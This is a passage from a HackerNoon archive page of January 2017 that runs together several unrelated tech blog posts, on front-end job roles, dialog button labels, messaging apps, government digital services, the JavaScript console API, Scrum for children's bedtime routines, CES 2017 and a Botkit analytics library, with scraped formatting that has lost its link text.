scheduled to have heart surgery. It only follows that we should also not ask an individual who’s highly skilled at translating design prototypes into functional responsive web sites to jump in and write some logic for a service that makes calls via an observable to a REST backend. Next up, responsibilities on the front-end, based on this research and my experience, seem to fall into three distinct areas: (responsive web design, modular/scalable CSS, UI frameworks, living style guides, progressive enhancement & accessibility, animation and front-end performance). Front-end Implementation (JavaScript frameworks, JavaScript preprocessors, code quality, process automation, testing). Application Development (build tools, deployment, speed: (app, tests, builds, deploys), monitoring errors/logs, and stability). Front-end Operations While the titles themselves are still works in progress (and I’d be very interested in others’ experience), the roles themselves are fairly distinct. Oddly enough, everything I put in the “Front-end Implementation” bucket seems to coincide with what Brad Frost considers parts of an overarching design system in Atomic Design, and is a role for people with a background in design. Application Development is fairly synonymous with a “JavaScript Developer” in my mind, and is a role for individuals with a background in computer science who have experience on the front-end. Front-end Ops Engineering was originally defined by , and front-end operations work is best suited for individuals with a background in operations management. Alex Sexton in 2013 Additionally, Micah Godbolt defines as touching pieces from all three of the areas I’ve outlined. I haven’t read his book yet (but will soon!), but I feel like the term “Front-end Architect” may be very useful, albeit if we refine the responsibilities a bit depending on an individual’s background. Front-end Architecture So, the person working on front-end implementation is someone who sits between the designers and engineers, who works on design implementation (not design, and not application development), and is able to work with the design team to create user interfaces that reflect both the client’s requirements and the design team’s intent. This individual also understands enough about the frameworks used by the development team working on the production application to recommend implementation of their work in the current flavor of JS framework. They can incorporate best practices in a living style guide that is treated as a first class citizen in the the design and development process. Part of me really wants the title for this role to be “Front-end Executioner”. This may be a case of “it depends”, in that the job titles and which teams they sit on depend very much on your specific team’s structure. Hopefully, this post will cast some light on the distinction between the responsibilities, and the delineation that the the front-end minimally requires individuals focusing on these specific areas. It’s my inclination that there’s likely much more fine-tuned specialization to come.

Adobe

Progressive

Front-end Roles and Responsibilities

Image Source: https://material.io/guidelines/components/dialogs.html#dialogs-alerts We use Dialog boxes in our apps to inform the user about a situation and require acknowledgment. The naive action button pairs to use in the dialogs would be and . But can we do it better? OK/Cancel Yes/No Let the Action Buttons in the Dialog Box scream its outcome It will be a better user experience if the action buttons clearly indicate the outcome than using the generic labels (like OK/ Yes). From the , Material Design Guidelines The affirmative action text “Discard” clearly indicates the outcome of the decision. The dismissive action text “No” answers the question, but does not suggest what will happen afterwards. A better action pair would be an explicit “Cancel” and “Delete.” From an by the famous UX Planet article Nick Babich A good dialog box isn’t just about asking users which action they want to perform. It’s also about making each option as clear as possible. It’s often better to name a button to explain what it does than to use a generic label (like “OK”). Use a verb whenever possible instead of ‘Yes’ or ‘OK’ because your buttons will make sense out of context with the explanatory text or title. Never use ‘Yes’ or ‘OK’ when you could use a verb instead! Let’s look at the ‘verb’ labels used in the Dialog boxes of some famous apps, Screenshot from Google Photos Android app Screenshot from Facebook Messenger Android app Screenshot from Twitter Android app Screenshot from Medium Android app Screenshot from Gallery Android app Screenshot from Google Keep Android app Screenshot from Hangouts Android app Screenshot from Google Fit Android app Looks like the ‘verb’ labels are used in the Dialog boxes of almost all the apps, except a few ( *cough* Telegram *cough* Amazon ). Let’s implement this Dialog Box UX pattern and make our apps better for our users. If you find this post useful, click the 💚 below, and don’t forget to share your thoughts in the comments. To reach us in Twitter: | Me Hacker Noon

Let the Action Buttons in the Dialog Box Scream its Outcome

“This is where it’s happening and .” — it’s a once in a generation opportunity to build it David Marcus, VP of messaging products at Facebook Ever wonder what those damn kids are doing on their phones all the time? Chances are, they are probably sending messages to all their friends. Don’t believe me? . Oh yeah, they are definitely messaging. According to Facebook, people sent 63 billion WhatsApp messages on New Year’s Eve The appeal of messaging isn’t hard to understand. There has always been a fear of face-to-face communication with people outside of your ‘inner circle’. Messaging apps have removed the face-to-face fear people have, by allowing them to think about, customize, and perfect messages before sending them. The Evolution of Selfies Not to mention, apps like Snapchat make it entertaining to send messages! People flock to new messaging apps because they are always looking for a new way to communicate with their friends. Messaging apps like Snapchat center around personal messages. These P2P (peer-to-peer) messages are what people are looking for. The people who use apps like Snapchat realize social media has been flooded by generalization, solicitation, and propaganda. Though Snapchat and other messaging apps center around P2P, they also give you the option to share your messages to all of your friends through their ‘Stories’ feature. These options give people the perfect balance of personalized messaging and mass sharing. When one falls, another rises. As people migrate away from social media, they are picking up messaging apps. The downfall of social media is what has lead to the meteoric rise in messaging. Much like in the United States, China is seeing the same trend with their super app WeChat. The transition to messaging is happening on a global scale. To most people’s surprise, messaging apps have surpassed social media in active users. In reality, people are beginning to , look to use encrypted communication methods, and express themselves creatively through their messages. transition away from email Messaging Apps Have Surpassed Social Networks Much like a Phoenix rises from the ashes, as one form of communication falls another one will always rise from the ashes. Sorry social media, but no good thing lasts forever. People need change and the thirst for new communication methods will never end. So what’s next? Expect Snapchat to continue their unparalleled tear of success. This is just the tip of the iceberg for Snapchat, as they move forward towards their IPO (initial public offering) in 2017. We have already seen Instagram release their ‘Snapchat lookalike’, which is Instagram Stories. If Instagram stories can pick up traction, there may be a heated battle between them and Snapchat. As these messaging apps dominate, expect to see something new and never seen before! Much like Snapchat was a brand new idea; there will be a day where it is replaced by something new and exciting. Be on the lookout for what could be the next big thing. Since I recognize this opportunity, I have decided to . develop a messaging app will combine all forms of communication into one simple application. This will help people digest and send messages / emails from one central location. The app I am developing I am currently in the early stages of development for my unified messaging platform, which I have named . UNUM messenger I plan to launch in March of 2017 as a Beta. If you would like to be notified when launches, you can sign up . UNUM messenger UNUM messenger here Any and all feedback is appreciated! If you would like to follow me on my journey, be sure to follow me . Also, If you liked this article be sure to like it! here on Medium

Messaging Is The One Thing People Do More Than Anything Else On Their Phone

The Declaration of Independence: July 4th 1776, by Ralph Trembly after the original by John Trumbull. Philadelphia: J.T. Bowen, (between 1838 and 1841.) How to hack government and craft better services. last week, outgoing US president talked about the role of “the most important office in a democracy: Citizen.” In his farewell address to the nation Barack Obama It falls to each of us to be those those anxious, jealous guardians of our democracy; to embrace the joyous task we’ve been given to continually try to improve this great nation of ours. Because for all our outward differences, we, in fact, all share the same proud title, the most important office in a democracy: Citizen. As he highlighted: “So, you see, that’s what our democracy demands. It needs you. Not just when there’s an election, not just when your own narrow interest is at stake, but over the full span of a lifetime. If you’re tired of arguing with strangers on the Internet, try talking with one of them in real life. If something needs fixing, then lace up your shoes and do some organizing. If you’re disappointed by your elected officials, grab a clipboard, get some signatures, and run for office yourself.” Show up. Dive in. Stay at it. That also means to be able to enjoy the full power of the digital era by making sure we, as citizens, are able to use digital services in all areas of citizenship and at all levels, local and federal, from education and healthcare, to petitions, immigration, transparency, and more. But it’s not only for government to guide this process. As digital citizens we also need to understand our role in our democracy and guiding a digitization that produces services that hack the current status, shorten waiting times, and empower us with a full digital citizenship. startupping It’s not easy. It has not been easy and it won’t be easy. here on after two years at the helm of (USDS), quotes Steve Jobs: In his farewell post Medium The U.S. Digital Service Mikey Dickerson Life can be much broader once you discover one simple fact: Everything around you that you call life was made up by people that were no smarter than you. And you can change it, you can influence it… Once you learn that, you’ll never be the same again. But this is a process, also for us as citizens. And it’s not an easy one. Dickerson admits: “ When I look back on the last two years, I’m astounded by how difficult this work has been to do, but those struggles pale in comparison to the positive impact the team has made on the lives of millions of Americans.” USDS was created to improve the US Federal Government’s most important public-facing digital services. It is a collaboration between some of the country’s top technical talent and the government’s brightest civil servants, who work in partnership to apply private sector best practices to digital services, including services for citizens. In other words, the goal is to startup the government and make its services leaner, more efficient, widely available, and more transparent. USDS is not the only government entity around the world to have focused on building a government startup. The United Kingdom was probably the first to focus on an innovative digital government platform, with the creation of the UK Government Digital Service (GDS), within the . Cabinet Office It all started in 2011 with a new, single UK government website — then alpha.gov.uk and now gov.uk — “using open, agile, multi-disciplinary product development techniques and technologies, shaped by an obsession with meeting user needs,” as their mission stated. The prototype was developed in 12 weeks for around $400,000 and GDS formally opened for business on December 8, 2011. Today, the goal remains to build and support services that put the user first, to make things open and better for citizens. In five years, according to GDS head Kevin Cunnington, the agency has grown to over 700 people, and it’s now recruiting at a rate of 45 additional people a month. In startup terms, that’s a major success. In terms of digital government, it is hugely important. Just like for Dickerson, it has not been easy and, while exciting, the road ahead is paved by uncertainties. It won’t be easy, and we may not see instant results, but we know that what we’re doing is important. A brilliant foundation has been laid. In Australia, that same model was implemented a year ago with the founding of the Digital Transformation Office (DTO). Like for USDS in the US and GDS in the UK, the mission is ambitious, as highlighted by , head of DTO. Paul Shetler It’s been a busy 12 months. It hasn’t always been easy. It’s also important to remember that we aren’t doing this alone. We’re working in partnership with departments and agencies across government to get there. One of the priorities has been a recruitment drive, seeking the best developers, designers and user researchers in Australia to come and help. They also invested on crafting partnerships with local governments around Australia to train people and focus their activity. In addtion, DTO has also worked in partnership with government digital teams around the world. Shelter himself, a co-founded two start-ups and with leadership experience at Oracle and Microsoft, also worked at GDS in the UK, and before that at the UK Ministry of Justice. Sharing best practices and ideas between teams in different countries is key for the success of government tech startups. The experiments and experiences at USDS, GDS, and DTO are now part of a new project in Italy where in 2016 the — (Digital Transformation Team) — was launched by then Prime Minister Matteo Renzi. The new team, operating within the Office of the Prime Minister and with an initial mandate of two years, is headed by , a former executive at Apple and Amazon, and , Innovation Adviser to the Italian Prime Minister. Team Digitale Team per la Trasformazione Digitale Diego Piacentini Paolo Barberis Its mission is to “assist the Government in accelerating the digital transformation of the country and to support the simplification of the relationship between the Public Administration, citizens and business,” as explained by Piacentini in a . Medium post And like for Australia’s DTO, the initial focus was to recruit a team of Italian visionaries and innovators from around the world. Without an enthusiastic and competent pool of talents, I will not go too far. I, therefore, decided to write my first post addressing those potential candidates directly. Now, the Italian team works on building the foundations, to start creating the core components of what Piacentini a “new operating system of the country.” This will be achieved by “adopting a management style that is agile, collaborative and efficient and by sharing our work with citizens, businesses and the Public Administration.” And of course, the process has to focus on , while protecting the security and privacy of the users, as and . calls ethical hacking Giovanni Bajo Gianluca Varisco explain in a Medium post Estonia has also been another great example for the success of digital transformation. The Estonian government focused its efforts on facilitating citizen interactions with the state through the use of electronic solutions, including the very first e-residency— a transnational digital identity available to anyone interested in establishing and administering a location-independent business online. Europe is investing heavily on the digital transformation of government as a key element to the success of the helping to remove existing digital barriers and preventing further fragmentation arising in the context of the modernization of public administrations. The European Unions’ aims to modernize public administration, to achieve the digital internal market, and to engage more with citizens and businesses to deliver high quality services. DigitalSingleMarket , eGovernment Action Plan 2016–2020 In Asia, in the fall by , formerly with GDS, Singapore officially launched it’s new Government Technology Agency (GovTech), aimed at supporting it’s smart nation agenda and improving government services through digital transformation, while Thailand announced plans to establish a new to stay competitive on the world stage and meet international standards. as highlighted Emma Gawen Ministry of Digital Economy and Society 2017 is going to be an exciting year for digital transformation teams around the world. The expectations are high and so are the stakes for the millions of citizens around the world who deserve better services, more transparent, clearer, and certainly more user-friendly. Startups, whether launched by government or not, have highs and lows. Teams are important: their passion, their vision, and their tech expertise.

Abroad

Oracle

Read my book!

Read My Stories

Digital citizens and startup governments

The console API could be the most well known JavaScript API. Pretty much every developer who was written any substantial amount of code has had to If you’ve written any kind of libraries or services, you’ve probably used or to notify the user that they’ve done something incorrectly. But there’s far more that the console can do for us, so today we’re going to see how to leverage that! console.log something. console.warn console.error Assert First up we have: which allows us to run an in the console. console.assert(_assertion_) assertion An assertion is a boolean expression at a specific point in a program which will be true unless there is a bug in the program. — http://wiki.c2.com/?WhatAreAssertions If the assertion is true, the console does not output anything, if the assertion is false it will output that an assertion has failed, along with any message or data you give it. In Node.js falsy assertions will throw a and stop the execution of code. So it is not recommended for use in production environments. Note: AssertionError Count Sometimes it could be important to know how many times a given line was called. Maybe you’re not ready to write your unit test yet that asserts it was only called once or twice; or maybe you’re just debugging and trying to track down something that is happening more times than expected. This is where we can count on . console.count This one is simple, add and run your code. You’ll see a message and a number pop up every time that line runs. console.count(_message_) An important thing to note in this example is that the is set to 1 for each output. That’s because the message changed. No user was called more than once, so never goes up! When you call user 4 again at the end, you see finally go to 2. count count count Trace Finally, we’ve gotten to my favorite console method! Here we have: which will spit out a . It starts at the method that invoked and moves all the way back to the initial call. console.trace stack trace console.trace This method is extremely useful when you know a certain method is being called, but you don’t know how. But I can hear you saying right now, “Just put a debugger in the code and you get this, plus more!” To that, all I can say is, “yep”. Usually you can just use a debugger, but sometimes you don’t want the code to stop (like if timing is involved, or repetition + timing), or if for some reason you are needing to debug minified code. Here’s a small example: Formatting You don’t need ES6 to format a console string. They come with built in formatters. and will format an Object. %o %O and will format numbers. %d %i will format a string. %s will format a floating point number. %f You can use them like this: A nice part of this method is the object is still expandable in browsers that support pretty-printing/expanding/collapsing of objects in the console. A Final Word — Some “Gotcha’s!” If you use Node.js, be very wary of the console. It prints to synchronously, which could harm performance. stdout However, in some browser environments, some console statements are asynchronous, so using will take a snapshot of any variables at the time it outputs, rather than when it is actually first invoked. This means you may not be seeing what you expect. In this case you can use to make sure you are seeing what you expect. console.log console.dir For that reason and others I’d also caution against using console statements too often in a web browser environment. Typically you can use a debugger statement or breakpoints in the browser for anything you want to do with a console statement. And with a debugger or breakpoint you are able to investigate your variables without having to worry about async problems. If you missed the first installment you can find it . Please stay tuned as we dive deeper into some less known JavaScript APIs. We’re starting off easy but we’ll be diving deep soon! here Hi, I’m Justin Fuller. I’m so glad you read my post! I need to let you know that everything I’ve written here is my own opinion and is not intended to represent my employer in way. All code samples are my own, and are completely unrelated to Bank Of America’s code. any I’d also love to hear from you, please feel free to connect with me on , , or . Thanks again for reading! LinkedIn Github Medium is how hackers start their afternoons. We’re a part of the family. We are now and happy to opportunities. Hacker Noon @AMI accepting submissions discuss advertising &sponsorship To learn more, , , or simply, read our about page like/message us on Facebook tweet/DM @HackerNoon. If you enjoyed this story, we recommend reading our and . Until next time, don’t take the realities of the world for granted! latest tech stories trending tech stories

Bank of America

Mozilla

Trace

JavaScript APIs: Console

My wife Nathalie and I have 4 kids. At the start of May 2016, when number 4 would soon join the family it became time to add some to some of the daily routine. The evening routine often took way too long (sometimes 1,5 hours) before everyone hit their pillow. It took too much chasing the kids (“ ”) and too much discussion (“ ”) structure Come out of the bath Why should I come out of the bath first? is an which is being used almost everywhere for development. The online department of the company where I work has 11 active teams. We’ve got quit of a bit experience to say the least. Scrum makes sure that the team will ship working software within a small amount of time. Not that we will be shipping any software at but 1 of the tools used within scrum is a scrum board. Scrum Agile software development method software scrum home Scrum board Example of a scrum board A scrum board is placed on a visible place and usually has 3 columns. To do, In Progress and Done. Within those columns are the assigned tasks that should be finished within a certain time, usually 2 weeks, which is called a sprint. Those tasks are created and will be executed by the team itself. By using a scrum board it is visualised and clear for everyone what the current state is with a certain task and with the bigger picture. So that made me wonder: “If scrum with adults at the workplace works so well to get things done, would it work at home with kids?” A little bit of research resulted in an by Bruce Feiler and a blog about . I was curious if it could work for us. inspiring TED talk Scrum For Kids So we sat down at the kitchen table on a Sunday morning and I expressed my concerns concerning the evening routine the to the kids. Takes to long, chasing around, discussions. To our surprise the kids agreed with us and felt the same! They also didn’t enjoy it that much and really didn’t enjoy it when we got angry at them. So thats where I explained the scrum board to them. “ Together, we’ll make cards of the things you need to do before you go to sleep. Each time you finish a task on your card, you move that card to ‘Done!’. That’s the place where all the cards are that you’ve finished. Doing so you can easily see what you have already done and what you can do next. We will help you and keep track of the time.” The 1st iteration of the cards They liked that idea! Together with the kids we wrote down all the tasks that need to be done before turning in. The kids gave their own input with lots of enthusiasm. Undress, Shower, Get dressed, Drink, Brush, Pee, Read and of course Sleep. For every task I created a card with a little drawing on it and in the end everyone had a deck of cards. We then stuck the cards on the beds of the kids, ready for the new evening routine. The 1st evening (Sprint 1) The end result after the 1st sprint The results of the 1st evening where very good. The kids got 1 hour to do all cards. Sterre, the eldest of 7, really weighs her decision of what needs to be done first. Jesse the boy of 5, reasoned with himself that if he wanted a bedtime story he needed to take a quick shower, . Fenne, the youngest of 3, was just thrilled to be allowed to stick things on her door. Even my wife — as product owner — was excited. without any hassle The retro Each Sprint comes with a retro. That’s when you look back at the activities and talk about what went well and what you need to keep doing, what went wrong and what you should stop doing and what you haven’t done and want to start with. So the next morning we shortly talked about how we thought it went. “Fun!” according to the kids. “Quick and calm” according to the product owner. “I’ve won!” according to Jesse. There was also more feedback: We need more cards for Learning Words for example, Math and Play. Because there also needs to be something fun to do. The eldest even suggested that we create a scrum board for the morning routine. We’ve added the extra cards including a Wash hair card. The product owner, my wife can decide if this card needs to be in the To Do column of that evening. The evenings that followed also worked fantastic! The kids saw it as a challenge and thought it was a lot of fun. We kept adjusting each evening and talking about it every morning. The Sleep card for example always stayed in the To Do column, this was demotivating so we removed that one. We took the Read card of the board and only add it if there’s still time for it. So if you’ve done everything within the given time, you get the Read card. We went from an hour to 50 minutes, to 40 minutes and are now done in 30 minutes! The kids do most cards themselves (and so the evening routine) but of course when needed 1 of us can help. Because it worked so well we also created better, nicer boards. We moved the cards from the beds to a poster on the door with 2 columns To Do and Done. Of course we let the kids make the boards themselves. We’ve also created the morning routine boards and we saw the same improvements. Less chasing, less repeating and way less hassle. : Sterre making her new and improved board. : The new boards on their bedroom doors Left Right Conclusion So “ ”. We’ve learned that things can easily get done much faster, without chasing the kids, without discussion and with a lot less stress and doing it together. If scrum with adults at the workplace works so well to get things done, would it work at home with kids? Yes, it does! But we’ve learned a lot more the last 6 months: We’ve learned that we become closer as a family if we include our children in the things we want to accomplish and that they’ll give you valuable input if you regularly talk to them on an equal level. We’ve learned that Sterre, the 7 year old can make good weighed choices, that she knows when to speed up and when she can kick back to relax. We’ve learned that Jesse, the 5 year old sees it as a competition and that he often wins. We’ve learned that Fenne, the 3 year old now easily understands what needs to be done because the tasks on hand are visualised. We’ve learned that it increases solidarity. The kids are motivated and help each other to get the cards to Done. We’ve learned that it’s extremely comparable with the workplace: The retro and the possibility to add your own tasks. Making it easy and normal to give your input is half the battle and makes sure everybody gets heard and conversations can take place on an equal level. The kids take ownership and aren’t just doing what is told. We’ve learned that even at home there can only be 1 productowner that can dictate the desirable outcome and there can only be 1 scrum master that pushes the team. As scrum master you are part of the team, you’re not the client telling the team what to do. You help. We’ve learned that the system is easy to expand and adjust. The eldest needs to learn her words and has an extra card. Feeding the fish is a rotating card and the 10 minute iPad card that can be earned are very effective. And after being grabbed, torn off and stuck again we now know for sure: Post-its really are the one and only sticky notes. I’ve written this article in Dutch after I gave a presentation at a TEDx event at The ANWB about Scrum @ Home. Because of the tremendous feedback I received on both the presentation and the article I decided to also publish it in English. Hope you enjoyed it and if you decide to give it a try @ your home please leave a comment with your experiences. Good luck and enjoy! : The Dutch media picked up this article and on January the 5th I was invited to explain Scrum @ Home on Dutch National Radio. (Dutch, Mov. 6,5MB). The Dutch news corporation RTL Nieuws also wrote an article about it on (Dutch). Update 5 January Listen to the radio fragment their website

Routine

Scrum @ Home

Shelly Palmer (aka Mr. CES) is wrong. Yesterday, he declared in his daily missive that his vote for 2017 “best in show” was the . My retort: “Shelly, go outside the North Hall to the Gold Parking Lot and take a ride on NVIDIA’s self-driving car.” Mercedes-Benz Vision Van I do agree with Shelly’s wisdom that the Mercedes concept van “sums up all the technologies that are on display at CES this year in one neat package. It’s autonomous, it delivers on-demand and it uses machine learning to accomplish its tasks.” However, the operative word from a robotics standpoint is “concept,” as realists we are more excited by kick-the-tires demos like the NVIDIA one below. Standing on the windy parking lot track, I personally witnessed (and captured) three adventurous technology executives hand over their lives to NVIDIA’s AI chip. To me, this demo sums up the CES 2017 experience best — humans are ready to give the keys to the machines. I am not alone, Gary Shapiro, the CEO of the Consumer Technology Association that hosts CES, exclaimed that “NVIDIA plays a central role in some of the most important technology forces changing our world today. Its work in artificial intelligence, self-driving cars, VR and gaming puts the company on the leading edge of the industry.” NVIDIA, a graphics chip company that is probably best known for gaming, has leveraged its knowledge base to develop new computer vision deep learning microprocessors to grow its marketshare beyond gaming to AI and connected cars. The company has been rewarded handsomely on Wall Street with its stock value booming 230% this past year. NVIDIA is just one of many examples that has driven the growth of the Autonomous Vehicle Marketplace at CES by over 75% since its inception in 2014. Yesterday, NVIDIA’s CEO, Jen-Hsun Huang, spent a considerable amount of time in his CES keynote address proclaiming the benefits of utilizing neural network systems for teaching computers to drive, “deep learning has made it possible to crack that nut. We can now perceive our environment surrounding our car; we can predict using artificial intelligence where other people and cars will be.” Huang, partnered with Audi, unveiled NVIDIA’s new computing driving technology, Xavier, that runs its own Driveworks operating system. The processing unit contains eight ARM64 cores and boasts performance of 30 trillion operations per second. According to Huang, “these AI connected cars should be able to drive from address to address in nearly every part of the world.” Recognizing the shortcoming of present learning structures, Huang declared that Driveworks can also work out when it has low confidence in its self-driving ability to handoff driving to the human co-pilot. A day earlier Dr. Gil Pratt of Toyota Research Institute (TRI) stated that the most dangerous aspect of self-driving systems may be in the handoff of computer-to-human or level 2 autonomy, “Considerable research shows that the longer a driver is disengaged from the task of driving, the longer it takes to re-orient. When someone over-trusts a level 2 system’s capabilities they may mentally disconnect their attention from the driving environment and wrongly assume the level 2 system is more capable than it is. We at TRI worry that over-trust may accumulate over many miles of handoff-free driving.” According to Pratt, “TRI has been taking a two-track approach, simultaneously developing a system we call Guardian, designed to make human driving safer…while working on L4 and 5 systems that we call Chauffeur. The perception and planning software in Guardian and Chauffeur are basically the same. The difference is that Guardian only engages when needed, while Chauffeur is engaged all of the time during an autonomous drive. In Guardian, the driver is meant to be in control of the car at all times in those cases where Guardian anticipates or identifies a pending incident and briefly employs a corrective response.” In a sense, Toyota is skipping NVIDIA’s and Tesla’s auto-pilot controls and going from Level 1 to full autonomy. But when will this be available? except Haung definitively stated yesterday, “we’ll have cars on the road by 2020.” This date has been echoed by many other leading voices in the auto and software industry. Last summer, Ford Motor Co-Chief Executive Mark Fields, said they “plan to offer a fully automated driverless vehicle for commercial ride-sharing in 2021.” Yesterday, I saw firsthand the autonomous Ford Fusion concept car (notice the attractive dual LIDAR installations above the mirrors). Ford said it expects to deploy 30 of these self-driving Fusion Hybrid prototypes in 2017 and 90 the following year, but admitted that “there’s still a lot of engineering development between now and 2021.” Pratt is less optimistic than most in the industry, “all car makers are aiming to achieve level 5, where a car can drive fully autonomously under any traffic or weather condition in any place and at any time. I need to make this perfectly clear: This is a wonderful goal.However, none of us in the automobile…or IT industries are close to achieving true level 5 autonomy. It will take many years of machine learning and many more miles than anyone has logged of both required for Level 5 autonomy.” simulated …and real-world testing to achieve the perfection Walking around the Convention Center and Sands Eureka Park Expo some other notable trends stood out as important flags for the coming year: : It appeared that every space formerly occupied by hobby drone companies has been filled this year by Oculus or Samsung Gear knockoffs (even the Verge got into the act by handing out pink cardboard VR headsets at JFK for flights bound for Vegas). Virtual Reality is last year’s drone fad As predicted, the age of social robots is here; in fact, it started with Siri however what I didn’t anticipate is that all of the industrial designers would watch the same Pixar film (see LG examples above). While physically adorable, the value proposition has yet to be fully fleshed out as most offerings are just better packaging of Alexa. EVE Robot is the new Alexa: Talking of Alexa, she’s everywhere even in the latest Ford models this year. Does this mean she is like the NSA listening to our every conversation? In any case, CES this year was a monster year, bigger than anyone expected. Even Mr. CES admitted yesterday that he couldn’t get near some booths. [By the way, if you would like to meet Shelly Palmer, please come to my dinner with him this ] Worlds are colliding, and crowds are growing: March To all my fellow CES attendees, see you next year… to all those that stayed home, now do you have ? FoMA

Disney

Ford Motor

NVIDIA

Samsung

The Verge

CES 2017: Report From The Show Floor

Botkit analytics, powered by Keen IO Open-source middleware to track bot metrics with Keen IO – and read about the motivation below 🚀 check it out here This post is part of a series of open source projects that I’ll be releasing in the next while, as described . previously here Bot Analytics One of the things that we had to deal with when we were building was that the traditional “session”-based analytics systems (like Google Analytics) didn’t really work. Even the pure “event”-based analytics systems (like Mixpanel) were too prescriptive for a new medium like chat interfaces. Suto We wanted to answer slightly complicated questions like “What type of questions are these set of users asking?” or “How many times are these users starting conversations with us?” without having to do too much work to get those answers on a dashboard. We definitely didn’t want to build our own analytics stack, since I knew that it takes a small village to get it right given my experience at . Taplytics So we decided to outsource this task to , a flexible and scalable analytics platform that I had used before. It turned out to work out very well – we were able to put together a great dashboard together in about a day and as we grew to other channels (like Email and Facebook Messenger), we were able to track everything in one place. Keen IO So today, I’m open-sourcing a small library that I originally built to pass data from to Keen IO. It enabled us to have a decent view of the usage of our bot (which we decided to shut down a few weeks ago, a story for another time) in the hope that it helps others :) Botkit Keen IO Botkit Middleware I’ve become a big fan of Howdy’s framework. It’s a great abstraction over the different ways you can create a bot and gives you enough customization capabilities to make things easier. Botkit A great example of this is their functionality that lets you listen (and/or modify) the incoming and outgoing messages. Which is exactly what I used to track messages going in and out for our bot. middleware I’ve abstracted this in an open source library called . keen-botkit I’ve been hesitant to share it since we’re no longer working on our bot, but Keen graciously offered to maintain the project (which is why it’s ), so I feel comfortable with having others use it and take advantage of having better analytics for their bots. on their Github now If you already have a bot or are about to work on one, check out and start tracking its usage right away ⚒️ Keen IO for Botkit If you’d like to keep up with my open-source releases over the next while, be sure to follow my posts or subscribe . here

HackerNoon Tech Stories Archive January 7th, 2017

@derwikiAdam Derewecki

@vinnyoodlesVincent Le

@joelthomsJoel Thoms

@mlovekovskyMikhail Levkovsky

@jiefengJie Feng

@okaleniukOleksandr Kaleniuk

@radarboy3000George Gally

@did_78238Dmitry Davydov

@arshamshirvaniArsham Shirvani

@ernoppErnest Oppetit

@nandoodlesNandini Jammi

@senkorasicSenko Rašić

@withinsight1Jeff Pelletier

@dineshbob10Bob

@peter.e.schroederPeter Schroeder 🚀

@asandreAndreas Sandre

@justindanielfullerJustin Fuller

@2bfrankFrank de Wit

@olivermitchellOliver Mitchell

@ngardidehNima Gardideh

@derwiki
Adam Derewecki

@vinnyoodles
Vincent Le

@joelthoms
Joel Thoms

@mlovekovsky
Mikhail Levkovsky

@jiefeng
Jie Feng

@okaleniuk
Oleksandr Kaleniuk

@radarboy3000
George Gally

@did_78238
Dmitry Davydov

@arshamshirvani
Arsham Shirvani

@ernopp
Ernest Oppetit

@nandoodles
Nandini Jammi

@senkorasic
Senko Rašić

@withinsight1
Jeff Pelletier

@dineshbob10
Bob

@peter.e.schroeder
Peter Schroeder 🚀

@asandre
Andreas Sandre

@justindanielfuller
Justin Fuller

@2bfrank
Frank de Wit

@olivermitchell
Oliver Mitchell

@ngardideh
Nima Gardideh